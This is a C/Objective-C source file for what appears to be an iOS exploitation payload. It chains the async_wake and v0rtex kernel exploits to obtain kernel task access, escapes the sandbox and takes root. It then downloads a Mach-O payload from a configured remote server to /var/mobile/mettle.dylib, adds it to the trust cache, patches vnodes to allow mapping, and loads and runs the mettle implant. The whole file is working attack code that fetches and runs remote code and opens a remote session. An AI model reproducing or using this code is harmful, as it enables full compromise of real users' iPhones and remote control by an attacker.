#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

#include <mach/mach.h>

#import <Foundation/Foundation.h>

#import <dlfcn.h>

#include <mach-o/dyld.h>

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#include "magic.h"
#include "liboffsetfinder64/getoffsets.h"
#include "v0rtex.h"
#include "async_wake.h"
#include "kernel_utils.h"
#include "patchfinder64.h"
#include "trustcache.h"
#include "sandbox.h"
#include "kutils.h"
#include "kexecute.h"
#include "vnode_utils.h"

// Note: NSLog crashes for me on iOS 10

//#define DEBUG 1
#ifdef DEBUG

#define SLOG(msg, ...) \
  do { \
    if (getuid() == 0) { \
      FILE* logfile = fopen("/var/mobile/log.txt", "a");\
      fprintf(logfile,msg, __VA_ARGS__); \
      fclose(logfile); \
    } \
  } while (0)

//#define LOG(msg) \
  //NSLog(@msg); \
  //fprintf(stderr, msg); \
  //fflush(stderr);

#else
#define SLOG(msg, ...) {}
#endif

int download_payload(char* file_path, const char* config_placeholder)
{
  unlink(file_path);
  SLOG("%s", "Downloading payload\n");

  const char* payload_url = "payload10";
  if (kCFCoreFoundationVersionNumber >= 1443.00) {
    payload_url = "payload11";
  }
  // Load the payload from server
  int sockfd = 0;
  struct sockaddr_in serv_addr;
  char getpayload[100];
  snprintf(getpayload, sizeof(getpayload), "GET /%s HTTP/1.1\r\n\r\n", payload_url);
  const int chunk_size = 4096;
  char* payload_buffer = malloc(chunk_size);
  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    SLOG("%s", "Could not connect socket");
    return -1;
  }

  serv_addr.sin_family = AF_INET;
  serv_addr.sin_addr.s_addr = *(uint32_t*)config_placeholder;
  serv_addr.sin_port = *(uint16_t*)(config_placeholder + 4);

  SLOG("%s", "Connecting...\n");
  if (connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
    SLOG("%s", "Could not connect\n");
    return -1;
  }
  send(sockfd, getpayload, strlen(getpayload), 0);

  int payloadfd = open(file_path, O_WRONLY | O_CREAT, 0700);
  int read_header = 0;
  int n;
  while ((n = read(sockfd, payload_buffer, chunk_size)) > 0) {
    if (!read_header) {
      char * payload_start = (char*)memmem((unsigned char*)payload_buffer, chunk_size, (unsigned char*)"\xcf\xfa\xed\xfe", 4);
      write(payloadfd, payload_start, n - (payload_start - payload_buffer));
      read_header = 1;
    } else {
      write(payloadfd, payload_buffer, n);
    }
  }

  close(payloadfd);
  close(sockfd);
  free(payload_buffer);
  return 0;
}

void fail(uint64_t x) {
    *(volatile int*)(0xbad000000000ull + x) = 0xdead;
}
#define ASSERT(x) if (!(x))fail(0xa00000000ull + __LINE__)

int main() {

  SLOG("%s", "Starting...\n");

  mach_port_t tfp0 = MACH_PORT_NULL;
  uint64_t kbase = 0;
  kern_return_t ret = KERN_FAILURE;

  if (kCFCoreFoundationVersionNumber >= 1443.00) {
    ret = async_wake(&tfp0);
    if (ret == KERN_SUCCESS && MACH_PORT_VALID(tfp0)) {
      kbase = find_kernel_base();
      SLOG("kbase %p", (void*)kbase);
    }
  } else {
    offsets_t *off = get_offsets();
    SLOG("%s", "Got offsets\n");
    ret = v0rtex(off, &tfp0, &kbase);
  }

  if (ret != KERN_SUCCESS || !MACH_PORT_VALID(tfp0))
  {
    SLOG("%s", "exploit failed\n");
    return -1;
  } else {
    SLOG("%s", "tfp0!\n");
  }

  SLOG("%s", "init!\n");
  init_kernel_utils(tfp0, kbase);
  InitPatchfinder(kbase, 0);

  if (kCFCoreFoundationVersionNumber >= 1443.00) {
      pid_t pid = getpid();
      uint64_t sbcreds = unsandbox(pid);
      rootify(pid);
      SLOG("uid %d", getuid());
      SLOG("creds %p", (void*)sbcreds);

  }
  
  const char config_placeholder[1024] = "PAYLOAD_URL";
  char * file_path = "/var/mobile/mettle.dylib";
  download_payload(file_path, config_placeholder);

  SLOG("%s", "did init!\n");
  int trustret = trust_bin(file_path);
  SLOG("trust %d\n", trustret);

  if (kCFCoreFoundationVersionNumber >= 1443.00) {
      //fix for: kernel(Sandbox)[0] <Notice>: Sandbox: com.apple.WebKit(238) System Policy: deny(1) file-map-executable /private/var/mobile/mettle.dylib
      init_Kernel_Execute();
      fix_vnode_for_mmap(file_path);
  }

  void* mettle = dlopen(file_path, RTLD_NOW);
  if (mettle) {
    SLOG("%s", "got mettle!\n");

    // Launch the payload
    typedef int (*main_ptr)(int argc, const char *argv[]);
    main_ptr main_func = dlsym(mettle, "main");
    if (main_func) {
      SLOG("%s", "got main_func!\n");
      const char * progname = "mettle";
      const char * arg1 = "-u";
      const char * arg2 = config_placeholder+6;
      const char *argv[] = { progname, arg1, arg2, NULL };
      int mainret = main_func(3, argv);
      SLOG("%s", "did run main_func!\n");
    }
  }

  SLOG("%s", "exit!\n");
  exit(0);
  return 0;
}

uint64_t entry[] = { MAGIC, (uint64_t)&main };